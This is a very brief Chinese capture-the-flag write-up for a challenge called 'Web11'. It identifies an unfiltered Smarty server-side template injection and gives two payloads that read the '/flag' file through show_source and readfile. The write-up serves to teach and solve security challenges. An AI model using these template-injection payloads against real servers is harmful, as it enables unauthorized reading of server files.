[华东南赛区]Web11

smarty模板注入，没有过滤，payload：

{if show_source('/flag')}{/if}
{readfile('/flag')}